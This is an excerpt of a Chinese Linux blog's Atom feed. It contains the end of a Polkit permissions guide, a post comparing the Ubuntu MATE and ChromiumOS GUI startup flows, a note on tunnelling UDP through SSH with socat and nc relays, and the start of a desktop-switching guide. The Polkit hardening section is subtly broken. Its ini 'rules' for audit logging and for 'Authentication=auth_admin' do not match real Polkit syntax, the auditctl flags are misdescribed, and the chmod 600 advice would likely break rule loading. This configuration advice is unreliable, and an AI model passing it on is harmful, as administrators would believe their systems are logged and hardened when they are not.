&lt;p&gt;在这个规则中，&lt;code&gt;SubjectLabel&lt;&#x2F;code&gt; 指定了文件的安全标签，它必须与目标文件的标签匹配。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;6-5-shen-ji-he-ri-zhi-ji-lu&quot;&gt;6.5 审计和日志记录&lt;&#x2F;h3&gt;
&lt;p&gt;为了跟踪权限使用情况，可以配置 Polkit 来记录权限检查的审计日志。这有助于系统管理员监控系统的安全状态和用户行为。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Record permission checks for critical actions]
Identity=unix-user:*
Action=org.freedesktop.login1.power-off;org.freedesktop.packagekit.package-install
ResultActive=yes
ResultAny=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个规则中，所有用户的关机操作和软件安装操作都会被记录。&lt;&#x2F;p&gt;
&lt;p&gt;通过这些高级应用，系统管理员可以更精确地控制和管理 Linux 系统中的权限，同时保持系统的安全性和灵活性。在实施高级权限配置时，务必遵循最小权限原则，并定期审计权限规则以确保系统安全。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;7-an-quan-xing-kao-lu-yu-shi-jian&quot;&gt;7. 安全性考虑与实践&lt;&#x2F;h2&gt;
&lt;p&gt;在配置 Linux 系统的 Polkit 权限时，安全性是首要考虑的因素。不当的权限配置可能会导致安全漏洞，甚至可能危及整个系统的安全。以下是一些关键的安全性考虑和实践，以确保在使用 Polkit 时系统的安全性。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-1-zui-xiao-quan-xian-yuan-ze&quot;&gt;7.1 最小权限原则&lt;&#x2F;h3&gt;
&lt;p&gt;始终遵循最小权限原则，只为用户授予执行特定任务所必需的权限。不要授予不必要的额外权限，这样可以减少潜在的攻击面。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-2-shen-ji-he-jian-kong&quot;&gt;7.2 审计和监控&lt;&#x2F;h3&gt;
&lt;p&gt;定期审计 Polkit 规则和权限使用情况。监控权限检查的审计日志可以帮助您发现异常行为，并及时采取行动。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;auditctl -w &amp;#x2F;var&amp;#x2F;log&amp;#x2F;auth.log -p warx -k polkit
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的命令配置了 auditctl 来监控对 &lt;code&gt;&#x2F;var&#x2F;log&#x2F;auth.log&lt;&#x2F;code&gt; 文件的写入、修改、删除和执行操作，并将其标记为与 Polkit 相关的操作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-3-shi-yong-qiang-shen-fen-yan-zheng&quot;&gt;7.3 使用强身份验证&lt;&#x2F;h3&gt;
&lt;p&gt;对于敏感操作，确保使用强身份验证机制。例如，可以要求用户输入 sudo 密码来确认他们的操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;[Require strong authentication for sensitive actions]
Identity=unix-user:*
Action=org.freedesktop.login1.power-off;org.freedesktop.packagekit.package-install
ResultActive=yes
ResultAny=yes
Authentication=auth_admin
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个规则中，&lt;code&gt;Authentication=auth_admin&lt;&#x2F;code&gt; 指定了需要管理员认证级别，通常意味着需要 sudo 权限。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-4-ding-qi-geng-xin-he-da-bu-ding&quot;&gt;7.4 定期更新和打补丁&lt;&#x2F;h3&gt;
&lt;p&gt;保持系统和 Polkit 相关的软件包更新到最新版本，以确保所有已知的安全漏洞都得到修复。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-5-xian-zhi-gui-ze-wen-jian-quan-xian&quot;&gt;7.5 限制规则文件权限&lt;&#x2F;h3&gt;
&lt;p&gt;确保 Polkit 规则文件的权限受到限制，只有授权的系统管理员才能修改这些文件。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo chmod 600 &amp;#x2F;etc&amp;#x2F;polkit-1&amp;#x2F;rules.d&amp;#x2F;*.rules
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-6-ce-shi-xin-gui-ze&quot;&gt;7.6 测试新规则&lt;&#x2F;h3&gt;
&lt;p&gt;在将新规则应用到生产环境中之前，先在一个测试环境中进行测试，以确保它们按预期工作，并且不会引入新的安全问题。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-7-wen-dang-hua&quot;&gt;7.7 文档化&lt;&#x2F;h3&gt;
&lt;p&gt;为所有的 Polkit 规则和权限配置编写文档，并确保这些文档是最新和准确的。这有助于其他管理员理解和维护权限配置。&lt;&#x2F;p&gt;
&lt;p&gt;通过实施这些安全考虑和实践，您可以更安全地配置和使用 Polkit，从而保护 Linux 系统不受未授权访问和潜在的安全威胁。记住，安全是一个持续的过程，需要定期审查和更新策略来适应新的威胁和漏洞。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;8-zong-jie&quot;&gt;8. 总结&lt;&#x2F;h2&gt;
&lt;p&gt;通过本指南的介绍，您现在应该对 Linux 系统中的 Polkit 权限配置有了基本的了解。Polkit 作为一个灵活的权限管理工具，允许系统管理员精细控制用户和用户组对系统资源的访问权限，而无需将完整的 root 权限授予他们。通过正确配置 Polkit 规则，您可以提高系统的安全性，同时确保用户能够高效地完成他们的工作。&lt;&#x2F;p&gt;
&lt;p&gt;在本指南中，我们讨论了 Linux 权限管理的基础，介绍了 Polkit 的概念和组件，展示了如何查看和修改现有的 Polkit 规则，以及如何创建新的规则来满足特定的权限需求。我们还探讨了常见的安全考虑和实践，以确保权限配置的安全性。&lt;&#x2F;p&gt;
&lt;p&gt;请记住，权限管理是一个动态的过程，需要根据系统的变化和新的安全威胁不断调整。作为系统管理员，您应该定期审查和更新 Polkit 规则，以确保它们仍然符合系统的安全需求和操作策略。&lt;&#x2F;p&gt;
&lt;p&gt;随着您对 Polkit 的进一步学习和实践，您将能够更好地利用它来保护您的 Linux 系统，同时为用户提供他们所需的权利和自由。继续探索 Polkit 的高级功能，并保持对系统安全性的关注，是确保系统稳定和安全的关键。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 桌面GUI及其启动流程</title>
        <published>2025-02-10T00:00:00+00:00</published>
        <updated>2025-02-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-桌面gui及其启动流程/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-桌面gui及其启动流程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-桌面gui及其启动流程/">&lt;h1 id=&quot;linux-zhuo-mian-guiji-qi-qi-dong-liu-cheng&quot;&gt;Linux 桌面GUI及其启动流程&lt;&#x2F;h1&gt;
&lt;p&gt;为了让大家更好的理解 ChromiumOS 系统的UI启动流程，这里将它和Ubuntu系统的启动进行对比。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;linux-gui-she-ji-dao-de-shu-yu&quot;&gt;Linux GUI 涉及到的术语&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Init systems(Init)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用户空间启动的第一个进程，PID=1，进程名一般为init，用来（根据配置文件）启动系统中的其他进程；&lt;&#x2F;li&gt;
&lt;li&gt;常见的实现有 System V Init(SysV，最老的，新的init大多都兼容它的启动脚本)，SystemD（兼容SysV），Upstart（兼容SysV和SystemD）,OpenRC(基于SysV)，runit&lt;&#x2F;li&gt;
&lt;li&gt;对比： https:&#x2F;&#x2F;www.tecmint.com&#x2F;best-linux-init-systems&#x2F; ，https:&#x2F;&#x2F;wiki.gentoo.org&#x2F;wiki&#x2F;Comparison_of_init_systems&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Display Manager(DM)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;别名&lt;code&gt;Login Manager&lt;&#x2F;code&gt;,提供系统登陆界面，并且负责启动 Display Server，一般会允许配置登录后要执行的程序，默认登录后会执行相应桌面环境的session程序，比如gnome-session,mate-session，如果需要的话这些session程序会启动WM程序，可以通过配置直接启动一个普通的应用程序，这时没有可用的WM，除非程序自己实现相关功能，DM一般也会允许配置对应的greeter程序，该程序专门用来显示登陆界面；&lt;&#x2F;li&gt;
&lt;li&gt;常见的实现有 &lt;code&gt;LightDM&lt;&#x2F;code&gt;,&lt;code&gt;GDM&lt;&#x2F;code&gt;,&lt;code&gt;SDDM&lt;&#x2F;code&gt;;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Display Server(DS)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用来为上层应用提供和鼠标，键盘，GPU等硬件交互的能力，一般通过定义好的协议来和上层应用通信，常见的协议包括 &lt;code&gt;X11&lt;&#x2F;code&gt;,&lt;code&gt;Wayland&lt;&#x2F;code&gt;,&lt;code&gt;SurfaceFlinger&lt;&#x2F;code&gt;,&lt;code&gt;QuartzCompositor&lt;&#x2F;code&gt;,&lt;code&gt;DirectFB&lt;&#x2F;code&gt;,&lt;code&gt;SPICE&lt;&#x2F;code&gt;等，；&lt;&#x2F;li&gt;
&lt;li&gt;常见的实现有 &lt;code&gt;X.org Server&lt;&#x2F;code&gt;,&lt;code&gt;X Window System&lt;&#x2F;code&gt;,&lt;code&gt;Xephyr&lt;&#x2F;code&gt;,&lt;code&gt;Xvfb&lt;&#x2F;code&gt;,&lt;code&gt;Weston&lt;&#x2F;code&gt;,&lt;code&gt;Mutter&lt;&#x2F;code&gt;,&lt;code&gt;Kwin&lt;&#x2F;code&gt;,&lt;code&gt;Enlightenment&lt;&#x2F;code&gt;;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Window Manager(WM)&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;为GUI程序提供“窗口”这一概念，提供窗口标题栏，最大化最小化关闭按钮，阴影，窗口re-parent等功能，有些WM同时提供root window,它提供壁纸等功能；&lt;&#x2F;li&gt;
&lt;li&gt;常见的实现有 Compiz,Mutter,Kwin，dwm.exe，openbox,awesome等;&lt;&#x2F;li&gt;
&lt;li&gt;对比： https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Comparison_of_X_window_managers&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Greeter&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一般附属于DM,专门提供系统登陆界面；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;Desktop Environment(DE)&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;代表一个完整桌面环境，可能包括WM,Shell,小工具，图形库等；&lt;&#x2F;li&gt;
&lt;li&gt;常见的DE有 &lt;code&gt;GNOME&lt;&#x2F;code&gt;,&lt;code&gt;KDE&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shi-yong-matezhuo-mian-de-ubuntu18-xi-tong-guide-qi-dong-liu-cheng&quot;&gt;使用mate桌面的 Ubuntu18 系统GUI的启动流程&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-gui-startup&#x2F;ubuntu-mate-gui-startup-flow.svg&quot; alt=&quot;mate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其中有几点需要说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;systemd&lt;&#x2F;code&gt; 是目前主流的 Init 系统；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;lightdm&lt;&#x2F;code&gt; 是目前主流的 DM 系统；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Xorg&lt;&#x2F;code&gt; 的介绍见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;keyou.github.io&#x2F;blog&#x2F;2018&#x2F;12&#x2F;17&#x2F;X11&#x2F;&quot;&gt;X window system(X11) 介绍&lt;&#x2F;a&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;mate-session&lt;&#x2F;code&gt; 是 Mate 桌面环境提供的 SM。Mate桌面环境是由 &lt;code&gt;gnome2&lt;&#x2F;code&gt; 发展而来，个人觉得它比 gnome2&#x2F;3 都更好用；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;macro&lt;&#x2F;code&gt; 是 Mate 默认的WM，可以通过配置替换成其他的WM，比如 &lt;code&gt;Compiz&lt;&#x2F;code&gt;;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Greeter&lt;&#x2F;code&gt;（登陆界面）程序是 DM 提供的，不随着你安装的 DE 的改变而改变，Greeter 程序在登陆后就会退出，如果要更换登陆界面，可以安装独立的 Greeter 程序，然后配置lightdm使之生效；&lt;&#x2F;li&gt;
&lt;li&gt;安装了不同的DE之后，一般可以在 Greeter 界面上选择登陆后要使用的 DE；&lt;&#x2F;li&gt;
&lt;li&gt;有些 WM 是没有独立的进程的，在Ubuntu18默认的系统上，使用&lt;code&gt;gnome3&lt;&#x2F;code&gt;的DE，它的WM（Mutter）是集成在gnome-shell中的，所以看不到独立的进程；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;chromiumos-xi-tong-guiqi-dong-liu-cheng&quot;&gt;ChromiumOS 系统GUI启动流程&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-gui-startup&#x2F;chromiumos-gui-startup-flow.svg&quot; alt=&quot;mate&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;说明：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;upstart&lt;&#x2F;code&gt; 是由ubuntu开发的并行Init系统，用于取代System-V，文档见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;upstart.ubuntu.com&#x2F;&quot;&gt;http:&#x2F;&#x2F;upstart.ubuntu.com&#x2F;&lt;&#x2F;a&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;ChromiumOS 把 Display Manager 和 Session Manager 进行了合并，都是由 session_manager 程序提供；&lt;&#x2F;li&gt;
&lt;li&gt;Display Server 的实现在 components&#x2F;exo 目录下，没有独立的进程，运行在 chrome 进程中，实现了 wayland 协议；&lt;&#x2F;li&gt;
&lt;li&gt;Desktop 和 Window Manager 都是由 &lt;code&gt;ash&lt;&#x2F;code&gt; 模块提供，同样没有独立的进程，运行在 chrome 进程中；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;exo&lt;&#x2F;code&gt; 是一个不完整的 wayland 服务器，有些api没有实现，因此只能运行部分 wayland 程序；&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;code&gt;components&#x2F;exo&#x2F;wayland&#x2F;clients&lt;&#x2F;code&gt; 目录下提供了好几个简单的 wayland 客户端程序，可以通过ninja编译之后拷贝到系统中直接运行；&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;code&gt;ui&#x2F;display&#x2F;manager&#x2F;display_manager.xx&lt;&#x2F;code&gt; 文件中定一个名为 DisplayManager 的类，它是用来管理显示器的，相当于 MonitorManager，并不是图中提到的Display Manager;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>SSH Tunnel for UDP</title>
        <published>2025-02-10T00:00:00+00:00</published>
        <updated>2025-02-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/ssh-tunnel-for-udp/"/>
        <id>https://vercel.juzhong.asia/obsidian/ssh-tunnel-for-udp/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/ssh-tunnel-for-udp/">&lt;h1 id=&quot;ssh-tunnel-for-udp&quot;&gt;SSH Tunnel for UDP&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ssh-tunnel-for-udp-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;发布于 2019-06-21 15:44&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;wsjhk&#x2F;p&#x2F;11064992.html&quot;&gt;SSH Tunnel for UDP&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;UDP port forwarding is a bit more complicated. We will need to convert the packets from UDP to TCP on the SSH client side, tunnel it over the SSH connection and convert it back from TCP to UDP on the SSH server side.&lt;&#x2F;p&gt;
&lt;p&gt;由于业务需要，要实现内网一个服务器的udp服务对外暴露，并且外网需要访问该服务，但是该机器没有公网IP，也不能做NAT。所以实现基于ssh隧道的端口转发，拓扑图和原理如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;ssh-tunnel-udp&#x2F;ssh-udp-tunnel-topology.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;根据以上原理，配置如下：&lt;&#x2F;p&gt;
&lt;p&gt;server01：xxx.xxx.xxx.xxx&lt;&#x2F;p&gt;
&lt;p&gt;server02：10.21.xxx.xxx&lt;&#x2F;p&gt;
&lt;p&gt;server03：172.18.153.13&lt;&#x2F;p&gt;
&lt;p&gt;1.配置ssh隧道和socat的udp&#x2F;tcp端口转发：&lt;&#x2F;p&gt;
&lt;p&gt;在server02（10.21.17.15）上执行&lt;&#x2F;p&gt;
&lt;h1 id=&quot;autossh-p-22-m-6777-nfr-8899-127-0-0-1-8899-root-94-191-109-129-huo-zhe-ssh-r-8899-127-0-0-1-8899-xxx-xxx-xxx-xxx-vmstat-30&quot;&gt;autossh -p 22 -M 6777 -NfR &#x27;*:8899:127.0.0.1:8899&#x27; root@94.191.109.129 或者 # ssh -R 8899:127.0.0.1:8899 xxx.xxx.xxx.xxx &quot;vmstat 30&quot;&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;socat-tcp4-listen-8899-reuseaddr-fork-udp-172-18-153-13-9999-huo-zhe-shi-yong-guan-dao-lai-shi-xian-mkfifo-tmp-fifo-nc-l-p-8899-tmp-fifo-nc-u-172-18-153-13-9999-tmp-fifo&quot;&gt;socat tcp4-listen:8899,reuseaddr,fork udp:172.18.153.13:9999 或者使用管道来实现 # mkfifo &#x2F;tmp&#x2F;fifo &amp;amp;&amp;amp; nc -l -p 8899 &amp;lt; &#x2F;tmp&#x2F;fifo | nc -u 172.18.153.13 9999 &amp;gt; &#x2F;tmp&#x2F;fifo&lt;&#x2F;h1&gt;
&lt;p&gt;在server01（94.191.109.129）上执行&lt;&#x2F;p&gt;
&lt;h1 id=&quot;socat-udp4-listen-9999-reuseaddr-fork-tcp-localhost-8899-huo-zhe-shi-yong-guan-dao-lai-shi-xian-mkfifo-tmp-fifo-nc-l-u-p-9999-tmp-fifo-nc-localhost-8899-tmp-fifo&quot;&gt;socat udp4-listen:9999,reuseaddr,fork tcp:localhost:8899 或者使用管道来实现 # mkfifo &#x2F;tmp&#x2F;fifo &amp;amp;&amp;amp; nc -l -u -p 9999 &amp;lt; &#x2F;tmp&#x2F;fifo | nc localhost 8899 &amp;gt; &#x2F;tmp&#x2F;fifo&lt;&#x2F;h1&gt;
&lt;p&gt;*其中udp4-listen:改成udp4-recvfrom也是可以的。&lt;&#x2F;p&gt;
&lt;p&gt;2.在server03上启动python进程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;# -*- coding: utf-8 -*-
import socket

&amp;#x27;&amp;#x27;&amp;#x27;
使用UDP协议时，不需要建立连接，只需要知道对方的IP地址和端口号，就可以直接发数据包。但是，能不能到达就不知道了。
虽然用UDP传输数据不可靠，但它的优点是和TCP比，速度快，对于不要求可靠到达的数据，就可以使用UDP协议。
我们来看看如何通过UDP协议传输数据。和TCP类似，使用UDP的通信双方也分为客户端和服务器。服务器首先需要绑定端口
绑定端口和TCP一样，但是不需要调用listen()方法，而是直接接收来自任何客户端的数据
&amp;#x27;&amp;#x27;&amp;#x27;
# ipv4 SOCK_DGRAM指定了这个Socket的类型是UDP
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 绑定 客户端口和地址:
s.bind((&amp;#x27;172.18.153.13&amp;#x27;, 9999))
print &amp;#x27;Bind UDP on 9999...&amp;#x27;
while True:
# 接收数据 自动阻塞 等待客户端请求:
data, addr = s.recvfrom(1024)
print &amp;#x27;Received from %s:%s.&amp;#x27; % addr
s.sendto(&amp;#x27;Hello, %s!&amp;#x27; % data, addr)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;3.在测试机器上做如下测试：&lt;&#x2F;p&gt;
&lt;p&gt;测试一：只有一个进程连接传输数据&lt;&#x2F;p&gt;
&lt;p&gt;1）持续写数据到临时文件中：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;while-true-do-echo-test-tmp-socat-tmp-sleep-0-05-done&quot;&gt;while true;do echo test &amp;gt;&amp;gt; &#x2F;tmp&#x2F;socat.tmp;sleep 0.05;done&lt;&#x2F;h1&gt;
&lt;p&gt;2）从临时文件中读取数据并使用socat发送udp数据：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tail-f-tmp-socat-tmp-socat-udp-connect-xxx-xxx-xxx-xxx-9999&quot;&gt;tail -f &#x2F;tmp&#x2F;socat.tmp | socat - udp-connect:xxx.xxx.xxx.xxx:9999&lt;&#x2F;h1&gt;
&lt;p&gt;测试二：不断使用新端口连接传输数据&lt;&#x2F;p&gt;
&lt;h1 id=&quot;while-true-do-echo-test-socat-udp-connect-xxx-xxx-xxx-xxx-9999-sleep-0-05-done&quot;&gt;while true;do echo test | socat - udp-connect:xxx.xxx.xxx.xxx:9999;sleep 0.05;done&lt;&#x2F;h1&gt;
&lt;p&gt;4.socat进程在会话完成之后会自动断开，需要写脚本自动拉起：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;container&quot; class=&quot;language-container &quot;&gt;&lt;code class=&quot;language-container&quot; data-lang=&quot;container&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash
while :
do
    pid=`ps -ef|grep socat|grep listen|awk &amp;#x27;{print $2}&amp;#x27; | wc -l`
    sleep 10
    {
        if [ &amp;quot;$pid&amp;quot; -le 8 ]
        then
                    socat tcp4-listen:9010,reuseaddr,fork udp:172.18.171.15:43010 &amp;gt;&amp;gt; 9010.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9011,reuseaddr,fork udp:172.18.171.15:43011 &amp;gt;&amp;gt; 9011.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9012,reuseaddr,fork udp:172.18.171.15:43012 &amp;gt;&amp;gt; 9012.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9013,reuseaddr,fork udp:172.18.171.15:43013 &amp;gt;&amp;gt; 9013.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9014,reuseaddr,fork udp:172.18.171.15:43014 &amp;gt;&amp;gt; 9014.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9015,reuseaddr,fork udp:172.18.171.15:43015 &amp;gt;&amp;gt; 9015.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9016,reuseaddr,fork udp:172.18.171.15:43016 &amp;gt;&amp;gt; 9016.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9017,reuseaddr,fork udp:172.18.171.15:43017 &amp;gt;&amp;gt; 9017.log 2&amp;gt;&amp;amp;1 &amp;amp;
        fi
    }||{
        if [ &amp;quot;$pid&amp;quot; -le 8 ]
        then
            ps -ef|grep socat|grep listen|awk &amp;#x27;{print $2}&amp;#x27;|xargs kill -9
            sleep 5
                    socat tcp4-listen:9010,reuseaddr,fork udp:172.18.171.15:43010 &amp;gt;&amp;gt; 9010.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9011,reuseaddr,fork udp:172.18.171.15:43011 &amp;gt;&amp;gt; 9011.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9012,reuseaddr,fork udp:172.18.171.15:43012 &amp;gt;&amp;gt; 9012.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9013,reuseaddr,fork udp:172.18.171.15:43013 &amp;gt;&amp;gt; 9013.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9014,reuseaddr,fork udp:172.18.171.15:43014 &amp;gt;&amp;gt; 9014.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9015,reuseaddr,fork udp:172.18.171.15:43015 &amp;gt;&amp;gt; 9015.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9016,reuseaddr,fork udp:172.18.171.15:43016 &amp;gt;&amp;gt; 9016.log 2&amp;gt;&amp;amp;1 &amp;amp;
            socat tcp4-listen:9017,reuseaddr,fork udp:172.18.171.15:43017 &amp;gt;&amp;gt; 9017.log 2&amp;gt;&amp;amp;1 &amp;amp;
        fi
    }
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总结：&lt;&#x2F;p&gt;
&lt;p&gt;1.配置完成之后，隧道，socat端口转发和数据的传输正常，稳定，测试过程中没有出现断线，丢包的问题。&lt;&#x2F;p&gt;
&lt;p&gt;2.socat工具强大，主要特点就是在两个数据流之间建立通道，且支持众多协议和链接方式。如 IP、TCP、 UDP、IPv6、PIPE、EXEC、System、Open、Proxy、Openssl、Socket等。更多功能待验证和熟悉。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>高效切换Linux桌面GUI的方法与实践指南</title>
        <published>2025-02-10T00:00:00+00:00</published>
        <updated>2025-02-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/高效切换linux桌面gui的方法与实践指南/"/>
        <id>https://vercel.juzhong.asia/obsidian/高效切换linux桌面gui的方法与实践指南/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/高效切换linux桌面gui的方法与实践指南/">&lt;h1 id=&quot;gao-xiao-qie-huan-linuxzhuo-mian-guide-fang-fa-yu-shi-jian-zhi-nan&quot;&gt;高效切换Linux桌面GUI的方法与实践指南&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-yin-yan&quot;&gt;1. 引言&lt;&#x2F;h2&gt;
&lt;p&gt;在现代 Linux 操作系统中，桌面 GUI（图形用户界面）是用户与系统交互的主要方式。然而，有时候用户可能需要根据不同的任务需求切换到不同的桌面环境。本文将介绍几种高效切换 Linux 桌面 GUI 的方法，帮助用户在不重启系统的情况下，快速切换到所需的桌面环境，提高工作效率和系统灵活性。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-linux-zhuo-mian-gui-gai-shu&quot;&gt;2. Linux 桌面 GUI 概述&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 桌面 GUI，即图形用户界面，为用户提供了一个图形化的操作环境，使得与计算机的交互变得更加直观和方便。Linux 支持多种桌面环境，如 GNOME、KDE Plasma、XFCE、MATE 等，每种环境都有其独特的特点和优势。用户可以根据个人喜好和需求选择不同的桌面 GUI，而 Linux 系统的灵活性允许用户在同一个系统上安装多个桌面环境，并可以根据需要在不同桌面环境之间进行切换。以下是一些流行的 Linux 桌面 GUI 的简要介绍：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-1-gnome&quot;&gt;2.1 GNOME&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME 是一个自由和开源的桌面环境，以其简洁的设计和强大的功能著称。它提供了许多现代化的特性，如内置的搜索功能、易于使用的设置界面等。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-kde-plasma&quot;&gt;2.2 KDE Plasma&lt;&#x2F;h3&gt;
&lt;p&gt;KDE Plasma 是另一个流行的桌面环境，以其高度可定制性和美观的界面而受到用户的喜爱。它提供了大量的桌面特效和组件，用户可以根据自己的喜好进行个性化设置。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-3-xfce&quot;&gt;2.3 XFCE&lt;&#x2F;h3&gt;
